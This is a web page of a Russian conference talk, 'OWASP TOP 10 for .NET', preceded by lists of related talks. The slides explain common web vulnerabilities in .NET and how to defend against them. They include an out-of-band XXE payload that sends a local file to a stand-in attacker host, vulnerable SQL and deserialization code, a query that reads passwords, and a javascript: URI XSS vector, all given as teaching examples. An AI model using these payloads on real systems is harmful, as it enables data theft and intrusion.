Система обработки бизнес-логики server-side приложения на GroovyСистема обработки бизнес-логики server-side приложения на Groovy
Система обработки бизнес-логики server-side приложения на Groovy
 
Информационная безопасность и web-приложения
Информационная безопасность и web-приложенияИнформационная безопасность и web-приложения
Информационная безопасность и web-приложения
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Взломать сайт на ASP.NET
Взломать сайт на ASP.NETВзломать сайт на ASP.NET
Взломать сайт на ASP.NET
 
Formal verification of operating system kernels
Formal verification of operating system kernelsFormal verification of operating system kernels
Formal verification of operating system kernels
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
Александр Коротин. Безопасность систем управления турбинами в электроэнергетике
Александр Коротин. Безопасность систем управления турбинами в электроэнергетикеАлександр Коротин. Безопасность систем управления турбинами в электроэнергетике
Александр Коротин. Безопасность систем управления турбинами в электроэнергетике
 
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
Что, зачем и каким образом следует проверять и тестировать перед запуском сай...
 
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...История из жизни. Демонстрация работы реального злоумышленника на примере ата...
История из жизни. Демонстрация работы реального злоумышленника на примере ата...
 
Реализация тестового фреймворка на основе OPEN-SOURCE инструментов
Реализация тестового фреймворка на основе OPEN-SOURCE инструментовРеализация тестового фреймворка на основе OPEN-SOURCE инструментов
Реализация тестового фреймворка на основе OPEN-SOURCE инструментов
 
Open Source Testing Framework: real project example and best practices
Open Source Testing Framework: real project example and best practicesOpen Source Testing Framework: real project example and best practices
Open Source Testing Framework: real project example and best practices
 
Дело тестера боится: как в опытных руках могут заиграть Java и TestNg
Дело тестера боится: как в опытных руках могут заиграть Java и TestNgДело тестера боится: как в опытных руках могут заиграть Java и TestNg
Дело тестера боится: как в опытных руках могут заиграть Java и TestNg
 
И снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел ТайкалоИ снова разработка под iOS. Павел Тайкало
И снова разработка под iOS. Павел Тайкало
 
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
Общая модель аутентификации HTTP-сообщений на основе хэш-функций в веб-прилож...
 
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...Общая модель аутентификации  HTTP-сообщений на основе хэш- функций в веб-прил...
Общая модель аутентификации HTTP-сообщений на основе хэш- функций в веб-прил...
 
Test Driven Development in ASP.NET MVC 3
Test Driven Development in ASP.NET MVC 3Test Driven Development in ASP.NET MVC 3
Test Driven Development in ASP.NET MVC 3
 
SibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложенийSibirCTF 2016. Практические методы защиты веб-приложений
SibirCTF 2016. Практические методы защиты веб-приложений
 
Виталий Каторгин, Wamba
Виталий Каторгин, WambaВиталий Каторгин, Wamba
Виталий Каторгин, Wamba
 

More from MskDotNet Community

Антон Сысоев «IIoT: на границе HW и .NET»
Антон Сысоев «IIoT: на границе HW и .NET»Антон Сысоев «IIoT: на границе HW и .NET»
Антон Сысоев «IIoT: на границе HW и .NET»
MskDotNet Community
 
Николай Гусев «Функциональное программирование для C# разработчиков»
 Николай Гусев «Функциональное программирование для C# разработчиков» Николай Гусев «Функциональное программирование для C# разработчиков»
Николай Гусев «Функциональное программирование для C# разработчиков»
MskDotNet Community
 
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
MskDotNet Community
 
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестов
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестовЮлия Ковалёва. Fscheck — альтернативный путь для unit тестов
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестов
MskDotNet Community
 
Дмитрий Сошников Искусственный интеллект и нейросети для .NET-разработчиков
Дмитрий Сошников    Искусственный интеллект и нейросети для .NET-разработчиковДмитрий Сошников    Искусственный интеллект и нейросети для .NET-разработчиков
Дмитрий Сошников Искусственный интеллект и нейросети для .NET-разработчиков
MskDotNet Community
 
Викторина MskDotNet Субботник
Викторина MskDotNet СубботникВикторина MskDotNet Субботник
Викторина MskDotNet Субботник
MskDotNet Community
 
Елизавета Голенок Переходим на mono или как это было
Елизавета Голенок  Переходим на mono или как это былоЕлизавета Голенок  Переходим на mono или как это было
Елизавета Голенок Переходим на mono или как это было
MskDotNet Community
 
Иван Кочуркин. Теория и практика парсинга формальных языков
Иван Кочуркин. Теория и практика парсинга формальных языковИван Кочуркин. Теория и практика парсинга формальных языков
Иван Кочуркин. Теория и практика парсинга формальных языков
MskDotNet Community
 
Дмитрий Тежельников «Разработка вэб-решений с использованием Asp.NET.Core и ...
Дмитрий Тежельников  «Разработка вэб-решений с использованием Asp.NET.Core и ...Дмитрий Тежельников  «Разработка вэб-решений с использованием Asp.NET.Core и ...
Дмитрий Тежельников «Разработка вэб-решений с использованием Asp.NET.Core и ...
MskDotNet Community
 
Павел Притчин "Конфигурации в.NET"
Павел Притчин  "Конфигурации в.NET"Павел Притчин  "Конфигурации в.NET"
Павел Притчин "Конфигурации в.NET"
MskDotNet Community
 
Андрей Кирпичев "Гибкая модульность инструментами АОП"
Андрей Кирпичев  "Гибкая модульность инструментами АОП"Андрей Кирпичев  "Гибкая модульность инструментами АОП"
Андрей Кирпичев "Гибкая модульность инструментами АОП"
MskDotNet Community
 
Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
 Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере" Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
MskDotNet Community
 
Андрей Матвеев "Основные принципы микросервисов и их реализации"
Андрей Матвеев "Основные принципы микросервисов и их реализации"Андрей Матвеев "Основные принципы микросервисов и их реализации"
Андрей Матвеев "Основные принципы микросервисов и их реализации"
MskDotNet Community
 
Александр Сурков «Вещи» в «Интернете вещей»
Александр Сурков «Вещи» в «Интернете вещей»Александр Сурков «Вещи» в «Интернете вещей»
Александр Сурков «Вещи» в «Интернете вещей»
MskDotNet Community
 
Петр Тимошевский «Industrial IoT на практике»
Петр Тимошевский «Industrial IoT на практике»Петр Тимошевский «Industrial IoT на практике»
Петр Тимошевский «Industrial IoT на практике»
MskDotNet Community
 
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
MskDotNet Community
 
Илья Ефимов «IoC/DI на примере Autofac»
Илья Ефимов «IoC/DI на примере Autofac»Илья Ефимов «IoC/DI на примере Autofac»
Илья Ефимов «IoC/DI на примере Autofac»
MskDotNet Community
 
Кирилл Маурин «Проектирование и разработка модульных приложений»
Кирилл Маурин «Проектирование и разработка модульных приложений»Кирилл Маурин «Проектирование и разработка модульных приложений»
Кирилл Маурин «Проектирование и разработка модульных приложений»
MskDotNet Community
 
Владимир Кошелев «Автоматический поиск ошибок»
Владимир Кошелев «Автоматический поиск ошибок»Владимир Кошелев «Автоматический поиск ошибок»
Владимир Кошелев «Автоматический поиск ошибок»
MskDotNet Community
 

More from MskDotNet Community (19)

Антон Сысоев «IIoT: на границе HW и .NET»
Антон Сысоев «IIoT: на границе HW и .NET»Антон Сысоев «IIoT: на границе HW и .NET»
Антон Сысоев «IIoT: на границе HW и .NET»
 
Николай Гусев «Функциональное программирование для C# разработчиков»
 Николай Гусев «Функциональное программирование для C# разработчиков» Николай Гусев «Функциональное программирование для C# разработчиков»
Николай Гусев «Функциональное программирование для C# разработчиков»
 
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
Кирилл Ветчинкин Практика использования .NET Core на ОС Linux с применением а...
 
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестов
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестовЮлия Ковалёва. Fscheck — альтернативный путь для unit тестов
Юлия Ковалёва. Fscheck — альтернативный путь для unit тестов
 
Дмитрий Сошников Искусственный интеллект и нейросети для .NET-разработчиков
Дмитрий Сошников    Искусственный интеллект и нейросети для .NET-разработчиковДмитрий Сошников    Искусственный интеллект и нейросети для .NET-разработчиков
Дмитрий Сошников Искусственный интеллект и нейросети для .NET-разработчиков
 
Викторина MskDotNet Субботник
Викторина MskDotNet СубботникВикторина MskDotNet Субботник
Викторина MskDotNet Субботник
 
Елизавета Голенок Переходим на mono или как это было
Елизавета Голенок  Переходим на mono или как это былоЕлизавета Голенок  Переходим на mono или как это было
Елизавета Голенок Переходим на mono или как это было
 
Иван Кочуркин. Теория и практика парсинга формальных языков
Иван Кочуркин. Теория и практика парсинга формальных языковИван Кочуркин. Теория и практика парсинга формальных языков
Иван Кочуркин. Теория и практика парсинга формальных языков
 
Дмитрий Тежельников «Разработка вэб-решений с использованием Asp.NET.Core и ...
Дмитрий Тежельников  «Разработка вэб-решений с использованием Asp.NET.Core и ...Дмитрий Тежельников  «Разработка вэб-решений с использованием Asp.NET.Core и ...
Дмитрий Тежельников «Разработка вэб-решений с использованием Asp.NET.Core и ...
 
Павел Притчин "Конфигурации в.NET"
Павел Притчин  "Конфигурации в.NET"Павел Притчин  "Конфигурации в.NET"
Павел Притчин "Конфигурации в.NET"
 
Андрей Кирпичев "Гибкая модульность инструментами АОП"
Андрей Кирпичев  "Гибкая модульность инструментами АОП"Андрей Кирпичев  "Гибкая модульность инструментами АОП"
Андрей Кирпичев "Гибкая модульность инструментами АОП"
 
Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
 Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере" Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
Даниил Соколюк "ReactJS.NET — опыт рендеринга на сервере"
 
Андрей Матвеев "Основные принципы микросервисов и их реализации"
Андрей Матвеев "Основные принципы микросервисов и их реализации"Андрей Матвеев "Основные принципы микросервисов и их реализации"
Андрей Матвеев "Основные принципы микросервисов и их реализации"
 
Александр Сурков «Вещи» в «Интернете вещей»
Александр Сурков «Вещи» в «Интернете вещей»Александр Сурков «Вещи» в «Интернете вещей»
Александр Сурков «Вещи» в «Интернете вещей»
 
Петр Тимошевский «Industrial IoT на практике»
Петр Тимошевский «Industrial IoT на практике»Петр Тимошевский «Industrial IoT на практике»
Петр Тимошевский «Industrial IoT на практике»
 
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
Стас Павлов «Построение безопасной архитектуры IoT решений на примере Azure I...
 
Илья Ефимов «IoC/DI на примере Autofac»
Илья Ефимов «IoC/DI на примере Autofac»Илья Ефимов «IoC/DI на примере Autofac»
Илья Ефимов «IoC/DI на примере Autofac»
 
Кирилл Маурин «Проектирование и разработка модульных приложений»
Кирилл Маурин «Проектирование и разработка модульных приложений»Кирилл Маурин «Проектирование и разработка модульных приложений»
Кирилл Маурин «Проектирование и разработка модульных приложений»
 
Владимир Кошелев «Автоматический поиск ошибок»
Владимир Кошелев «Автоматический поиск ошибок»Владимир Кошелев «Автоматический поиск ошибок»
Владимир Кошелев «Автоматический поиск ошибок»
 

Владимир Кочетков "OWASP TOP 10 для.NET"

  • 1. Заголовок ptsecurity.com OWASP TOP 10 для .NET Владимир Кочетков Positive Technologies
  • 2. Заголовок Руководитель отдела исследований по анализу защищённости приложений Positive Technologies AppSec- и CS-исследователь (формальные методы анализа и защиты приложений) Организатор Positive Development User Group https://about.me/vladimir.kochetkov vkochetkov@ptsecurity.com :~$ whoami
  • 3. Заголовок Открытое сообщество разработчиков и IT- специалистов, посвящённое вопросам безопасности приложений. https://t.me/ru_appsec Positive Development User Group
  • 4. Заголовок ptsecurity.com approof.ptsecurity.com github.com/libprotection LibProtection • Анализатор защищённости веб-приложений .NET, Java, PHP • Анализ конфигурации и уязвимых компонентов • Сигнатурный статический анализ • Поиск веб-шеллов и вредоносных сценариев • Сбор статистики по проекту • Альтернативная реализация форматных и интерполированных строк, встраивающих в приложение автоматическую защиту от атак инъекций • .NET 4.0+ (скоро: Kotlin, C++, Python, PHP, JavaScript) • SQL, HTML, JavaScript, URL и файловые пути (скоро: XML, CSS, XPATH, CMD, BASH)
  • 5. Заголовок • Мастер-класс «Трущобы Application Security» • Подводные камни прикладной криптографии • ASP.NET Core: Preventing attacks 2.0 • .NET Security Cheat Sheet Disclaimer или «хотите знать больше?»
  • 7. Заголовок • Хит-парад проблем безопасности веб-приложений, формируемый с 2004, каждые 3-4 года, на основе опросов, отчётов и аналитики множества компаний и независимых экспертов: github.com/OWASP/Top10 • Включает в себя, как недостатки, так и атаки • Версия 2017 года формировалась на основе отчётов более, чем 40 мировых компаний, содержавших статистику об уязвимостях в 114 897 приложениях и опросов около 500 независимых экспертов. WTF OWASP TOP 10?
  • 8. Заголовок A primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most common and most important web application security weaknesses Предназначение OWASP TOP 10
  • 10. Заголовок Класс недостатков, связанных с низкой информативностью диагностических средств или возможностью нарушения целостности обрабатываемой ими информации Неэффективное журналирование и мониторинг
  • 11. Заголовок • События управления доступом: • Аутентификация и авторизация (как успех, так и отказ) • Выдача сессионных токенов или других билетов аутентификации • Явное завершение пользовательской сессии • Восстановление доступа • Все попытки доступа к конфиденциальной информации и изменения целостной, включая результаты таких попыток • Все ошибки и исключения (включая перехватываемые) Что и когда логировать
  • 12. Заголовок • Просканировать приложение любым black-box анализатором: • bbs.ptsecurity.com • www.acunetix.com • subgraph.com/vega • Убедиться, что сформированные в ходе сканирования логи достаточны для того, чтобы подтвердить факт автоматизированной атаки Простой способ убедиться в эффективности логирования
  • 13. Заголовок • Использовать существующие средства журналирования с возможностью безопасной параметризации: • github.com/NLog/Nlog • serilog.net • Все данные, производные от входных, записывать в лог через параметризацию • Обратить внимание на проект: github.com/Azure/diagnostics- eventflow Журналирование в .NET
  • 14. Заголовок A9:2017 – Using Components with Known Vulnerabilities
  • 17. Заголовок • Недостаток, в результате которой атакующий имеет возможность выполнить произвольный код на целевой системе или нарушить целостность модели предметной области приложения • Атака возможна в случаях, если атакующий контролирует сериализованный объект и: • у него есть возможность контролировать тип объекта, создаваемого десериализатором; • ожидаемый десериализатором тип содержит поля или свойства, для которых актуальны угрозы нарушения целостности, авторизованности или аутентичности. Незащищённая десериализация
  • 18. Заголовок • В ходе реконструкции объекта могут использоваться вызовы: • Конструкторов по умолчанию и заполнение полей и свойств через рефлексию или вызовы соответствующих сеттеров • «Специальных» конструкторов • Конвертеров типов • Обратных вызовов • Рано или поздно (в большинстве случаев), созданный объект будет финализирован и собран GC Как работает сериализатор?
  • 21. Заголовок // ... services.AddMvc().AddJsonOptions(options => { // XXX ∈ { // TypeNameHandling.All, // TypeNameHandling.Auto, // TypeNameHandling.Arrays, // TypeNameHandling.Objects // } options.SerializerSettings.TypeNameHandling = TypeNameHandling.XXX; }); // ... Уязвимый код (JSON.Net)
  • 22. Заголовок • Сформировать все возможные векторы атаки для используемого десериализатора с помощью: github.com/pwntester/ysoserial.net • Убедиться, что при передаче их в качестве сериализованных объектов, заданная в векторе команда не выполняется Лёгкий способ протестировать десериализатор
  • 23. Заголовок • Не десереализовывать входные данные • При пробросе сериализованных данных между HTTP-запросами использовать подтверждение их аутентичнсти (цифровую подпись) • Использовать десериализатор со строгим контролем типов • Избегать использования при десериализации какой-либо информации о типах, производной из входных данных Как защититься?
  • 24. Заголовок • Attacking .NET Serialization • Breaking .NET Through Serialization Хотите знать больше?
  • 26. Заголовок • Атака (как правило – инъекции), направленная на выполнение кода произвольного сценария на клиенте в контексте атакуемого сайта → обход ограничений same origin policy • Специфические подходы к защите: • X-XSS-Protection: • 1;mode=block • 1;report=http://example.com/report_URI • X-Content-Type-Option: nosniff • Content-Security-Policy: (www.owasp.org/index.php/OWASP_Secure_Headers_Project ) • Access-Control-Allow-Origin: (www.owasp.org/index.php/HTML5_Security_Cheat_Sheet#Cross_Origin_Resource_Sharin g) Межсайтовый скриптинг
  • 29. ЗаголовокКак должно быть (разработчик, безопасник, администратор)
  • 31. Заголовок Обеспечивать безопасность первоначальной (дефолтной) конфигурации приложения Что должен делать разработчик?
  • 32. Заголовок • При разработке нового проекта под ASP.NET MVC5 взять за основу шаблон github.com/johnstaveley/SecurityEssentials/ • github.com/ASP-NET-Core-Boilerplate/Templates – при разработке под ASP.NET Core • Если это невозможно, обеспечить безопасность первоначальной конфигурации вручную Так, а делать-то – что?
  • 33. Заголовок • Убрать из конфигурационных файлов все неиспользуемые директивы и опции • Обеспечить отсутствие в релизной конфигурации по умолчанию реквизитов доступа к каким-либо ресурсам • Использовать .NET 4.6.2+ или .NET Core 2.0+ (поддержка TLS 1.1/1.2, расширенная валидация запросов, защита от XXE и т. п.) Защита конфигурации: базовый чек-лист (1/4)
  • 34. Заголовок • Использовать опции из Web.Config, рекомендованного OWASP: gist.github.com/kochetkov/1132463fb16725694640404c04040621 • Использовать точечное отключение валидации запросов только там, где это действительно необходимо: • На страницах: <@ Page validateRequest="false" %> • В контроллерах: [ValidateInput(false)] • В свойствах модели: [AllowHtml] • В выражениях: Request.Unvalidated() Защита конфигурации: базовый чек-лист (2/4)
  • 35. Заголовок • Убрать HTTP-заголовки: <httpRuntime enableVersionHeader="false" /> HttpContext.Current.Response.Headers.Remove("Server"); • Форсировать отправку cookies через TLS: <httpCookies requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/> <authentication> <forms requireSSL="true" xdt:Transform="SetAttributes(requireSSL)"/> </authentication> Защита конфигурации: базовый чек-лист (3/4)
  • 36. Заголовок • Для проектов под ASP.NET Core использовать github.com/andrewlock/NetEscapades.AspNetCore.SecurityHeaders Защита конфигурации: базовый чек-лист (4/4)
  • 38. Заголовок • Недостаток, позволяющий атакующему воспользоваться привилегиями под учётной записью, которая ими не обладает. • Некоторые возможные причины: • Отсутствие или неэффективность проверок доступа • Использование незащищённых идентификаторов ресурсов • Возможность подделки, воспроизведения или использования сессионных токенов • Неправильная конфигурация CORS • Отсутствие проверок доступа в методах контроллеров, изменяющих состояние модели Неэффективный контроль доступа
  • 39. Заголовок • Вся доступная функциональность бизнес-логики должна быть распределена между ролями явным образом. Гость – тоже роль. services.ConfigureMvc(options => { options.Filters.Add( new AuthorizeFilter(new AuthorizationPolicyBuilder() .RequireAuthenticatedUser() .Build())); }); Как защититься (1/2)
  • 40. Заголовок • Элементы контроля доступа должны быть реализованы на всех слоях: • Представление: сокрытие информации о недоступной функциональности • Бизнес-логика: отсутствие функциональности, меняющей состояние модели до выполнения авторизации • Модель: контроль доступа с учетом запрашиваемых данных (row-level security и т.п) • Идентификаторы объектов должны обладать прямой и обратной секретностью Как защититься (2/2)
  • 41. Заголовок A4:2017 – XML External Entities (XXE)
  • 42. Заголовок • Атака на парсер XML, основанная на внедрении в документ внешних сущностей и позволяющая осуществлять чтение локальных файлов и, в некоторых случаях, выполнять произвольный код • Возможна, если в парсере XML включена обработка внешних сущностей Внедрение внешних сущностей XML
  • 43. Заголовок attack.xml: <?xml version="1.0" encoding="uq-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://evilhost/evil.xml"> %remote; %internal; %trick; ]> evil.xml: <!ENTITY % payload SYSTEM "file:///c:/boot.ini"> <!ENTITY % internal "<!ENTITY &#37; trick SYSTEM http://evil/?%payload;'>"> Пример атаки Out-of-Band XXE Data Retrieval
  • 44. Заголовок • XmlReader • Свойство ProhibitDtd • .NET <4.0: true/false, по умолчанию – true; • .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Prohibit; • XmlTextReader • Свойство ProhibitDtd • .NET <4.0: true/false, по умолчанию – true; • .NET 4.0+: Prohibit/Ignore/Parse, по умолчанию – Parse; • XmlDocument • Свойство XmlResolver • .NET <4.6: DefaultXmlResolver • .NET 4.6+: null XML парсеры .NET
  • 45. Заголовок • XXE and .NET • XML Out-of-Band Data Retrieval Хотите знать больше?
  • 47. Заголовок • Недостаток, позволяющий атакующему получить доступ к конфиденциальной информации • Причины: • Утечки по побочным каналам (тайминги, реакция приложения на штатные запросы) • Неэффективное использование криптографии • Использование незащищённых протоколов передачи информации Разглашение значимых данных
  • 48. ЗаголовокТайминг-атаки LAN: разница в 200 наносекунд за 1000 измерений; Internet: разница в 30 микросекунд за 1000 измерений; www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf В случае с HTTP есть возможность усилить канал: xakep.ru/2015/06/03/web-app-hack-keep-alive Добавление случайных временных задержек проблему не решает: events.ccc.de/congress/2012/Fahrplan/attachments/2235_29c3- schinzel.pdf
  • 50. ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (1/2) var fieldName = Request["field"] ?? "Id"; var minValue = Request["min"]; var maxValue = Request["max"]; var queryTemplate = string.Format( "SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}", Regex.Replace(fieldName, "?i[^a-z0-9]+", string.Empty) ); var selectCommand = string.Format(queryTemplate, debugStr); var cmd = new SqlCommand(selectCommand, dataConnection); cmd.Parameters.Add(new SqlParameter("@minValue", minValue)); cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue)); ... /users/filter.aspx?field={fieldName}&min={minBalue}&max={maxValue} Users Id Nickname Rating MessageCount TopicCount Password
  • 51. ЗаголовокСтрах и ненависть в отдельно взятом проекте: 2010 (2/2) var fieldName = Request["field"] ?? "Id"; var minValue = Request["min"]; var maxValue = Request["max"]; var queryTemplate = string.Format( "SELECT * FROM Users WHERE {0} >= @minValue AND {0} <= @maxValue ORDER BY {0}", Regex.Replace(fieldName, "[^a-zA-Z0-9]+", string.Empty) ); var selectCommand = string.Format(queryTemplate, debugStr); var cmd = new SqlCommand(selectCommand, dataConnection); cmd.Parameters.Add(new SqlParameter("@minValue", minValue)); cmd.Parameters.Add(new SqlParameter("@maxValue", maxValue)); ... /users/filter.aspx?field=Password&min=0&max=0 Users Id Nickname Rating MessageCount TopicCount Password
  • 52. Заголовок • HTTP через TLS. Предназначен для обеспечения: • конфиденциальности и целостности данных, передаваемых по HTTP; • аутентичности стороны сервера (реже – и клиента). • Или иными словами для защиты от атак класса MitM. Немного об HTTPS
  • 53. Заголовок • Популярные подходы: • HTTP по умолчанию, HTTPS по выбору пользователя, • HTTP везде, критические точки входа через HTTPS, неэффективны и подвержены атакам TLS Stripping. • Частично противодействовать им можно, используя: • site-wide HTTPS без опционального HTTP, • HTTP-заголовок: Strict-Transport-Security: max-age=expireTime [; includeSubdomains], при условии, что первый раз пользователь попадет на сайт по протоколу HTTPS. Немного об HTTPS
  • 55. Заголовок • Недостаток, позволяющий атакующему получать информацию об учётных данных других пользователей или аутентифицироваться от лица других пользователей • Причины: • Отсутствие или неэффективная реализация защиты от автоматизированных атак (прямой перебор по пользователю или паролю, набивка учетных данных и т.п) • Неэффективный контроль сложности паролей • Хранение учётных данных в открытом или недостаточно защищённом виде • Отсутствие или неэффективное использование 2FA • Проблемы конфиденциальности и актуальности сессионных токенов Неэффективная аутентификация
  • 56. Заголовок • Внедрение средств анти-автоматизации (reCAPTCHA) • Ограничение (замедление) попыток прямого перебора • Пароля по известному имени • Имени по известному паролю • Утекших учётных данных с других ресурсов • Внедрение средств контроля сложности паролей (есть нюансы) Как защититься
  • 57. Заголовок Криптографические функции хэширования не подходят для задачи хранения учётных данных. Для хэширования паролей следует использовать адаптивные функции Argon2 (password-hashing.net), PBKDF2, scrypt, bcrypt: pwd-hash = salt || adaptive_hash(password, salt) или дайджест-функции: pwd-hash = salt || HMAC-SHA-256(password, salt, secret) Общие принципы хранения паролей
  • 58. Заголовок • Предназначение соли — затруднение атак по словарям и радужным таблицам • Соль не является секретом и должна быть случайной и уникальной для каждого пароля • Длина соли должна быть достаточной для обеспечения энтропии salt || password >= 256 бит для любого возможного пароля → длина соли >= 32 байта Соль
  • 59. Заголовок // .NET Framework public static string GetPasswordHash(string password) { var rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, 32); rfc2898DeriveBytes.IterationCount = 16384; byte[] hash = rfc2898DeriveBytes.GetBytes(32); byte[] salt = rfc2898DeriveBytes.Salt; return Convert.ToBase64String(salt) + "|" + Convert.ToBase64String(hash); } // .NET Core public static string GetPasswordHash(string password) { byte[] salt = new byte[128 / 8]; using (var rng = RandomNumberGenerator.Create()) { rng.GetBytes(salt); } string hash = Convert.ToBase64String(KeyDerivation.Pbkdf2( password: password, salt: salt, prf: KeyDerivationPrf.HMACSHA256, iterationCount: 16384, numBytesRequested: 256 / 8)); return Convert.ToBase64String(salt) + "|" + hash; } Хранение паролей в .NET
  • 60. Заголовок • Password Storage Cheat Sheet Хотите знать больше?
  • 62. Заголовок • Уязвимость к атакам инъекции – состояние приложения, в котором возможно внедрение в выходные данные грамматических конструкций, не предусмотренных логикой приложения • Тема защиты от атак инъекций была достаточно подробно раскрыта в докладе «Побеждая инъекции» на DotNext Moscow 2017 (слайды, видео) • По исходным данным OWASP TOP 10 2017, этому классу атак подвержены 60.6% приложений. Инъекция
  • 63. Заголовок • «…достаточно банальные примеры, которые были бы актуальны несколько лет назад» • «…в целом доклад теряет свой смысл, если код написан без использования устаревших подходов» • «…[LibProtection] скорее для компаний, которые не заботятся о коде, живут в легаси-системах и не знают, что после .NET 2.0 выходили более новые версии, а .NET Core для них просто ругательство» По следам полученного фидбека (1/2)
  • 64. Заголовок • «…не рассказал как правильно делать, а просто рассказывал про то, как костылями можно дырки закрывать» • «…был задан правильный вопрос про то, что многие так уже не пишут, а используют объектный подход. Каких атак тогда опасаться?» По следам полученного фидбека (2/2)
  • 66. Заголовок Реализовать в приложении ASP.NET Core MVC рендер ссылок, безопасно обрабатывающий некорректные URL и генерирующий для ссылок на внешние ресурсы вывод диалога с предупреждением. Проблема
  • 67. Заголовок public override void Process(TagHelperContext context, TagHelperOutput output) { var url = context.AllAttributes["href"].Value.ToString(); if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { throw new UriFormatException("Malformed URI"); } var uri = new Uri(url, UriKind.RelativeOrAbsolute); if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; } var onclickHandler = $"return confirm('You are about visit an external link: {uri} Are you sure?')"; output.Attributes.SetAttribute("onclick", onclickHandler); } Решение: реализовать TagHelper для тегов <a>
  • 69. ЗаголовокПричина уязвимости – вариативность грамматики URI javascript://localhost/?a=rnalert(1) System.Uri Browser javascript: Scheme javascript: Scheme // - (separator) //localhost/?a= JS-comment localhost Domain rn Line-feed / - (separator) alert(1) JS-expression ? - (separator) a=rnalert(1) Query-parameter
  • 70. Заголовок public override void Process(TagHelperContext context, TagHelperOutput output) { var url = context.AllAttributes["href"].Value.ToString(); if (!Uri.IsWellFormedUriString(url, UriKind.RelativeOrAbsolute)) { throw new UriFormatException("Malformed URI"); } var uri = new Uri(url, UriKind.RelativeOrAbsolute); if (!uri.IsAbsoluteUri || RequestHost == uri.Host) { return; } if (!Regex.IsMatch(uri.Scheme, "https?|ftp")) { throw new UriFormatException("Invalid scheme"); } var onclickHandler = $"return confirm('You are about visit an external link: {uri} Are you sure?')"; output.Attributes.SetAttribute("onclick", onclickHandler); } Устранение уязвимости
  • 71. Заголовок Какими будут URL создаваемые с помощью new Uri("/path", <UriKind>) ? http://www.mono-project.com/docs/faq/known-issues/urikind-relativeorabsolute/ https://github.com/dotnet/corefx/issues/22098 Ещё немного о объектном подходе на примере System.Uri .ctor .NET 4.7, .NET Core 2.0, Mono 5.4 (Windows) .NET Core 2.0 (Linux) Mono 5.4 (Linux) new Uri("/path", UriKind.Absolute) Исключение Абсолютный Абсолютный new Uri("/path", UriKind.Relative) Относительный Исключение Относительный new Uri("/path", UriKind.RelativeOrAbsolute) Относительный Относительный Абсолютный
  • 72. Заголовок • Средства параметризации и объектного подхода: • всего лишь частный случай типизации в рамках борьбы с инъекциями; • не всегда существуют или применимы и не являются панацеей; • могут содержать неоднозначности, уязвимости и ошибки в своём коде; • часто требуют от разработчика доскональных знаний грамматик и деталей своей реализации. • Думать всё равно придётся  (даже, в случае с LibProtection) Вся правда о «современных средствах разработки»
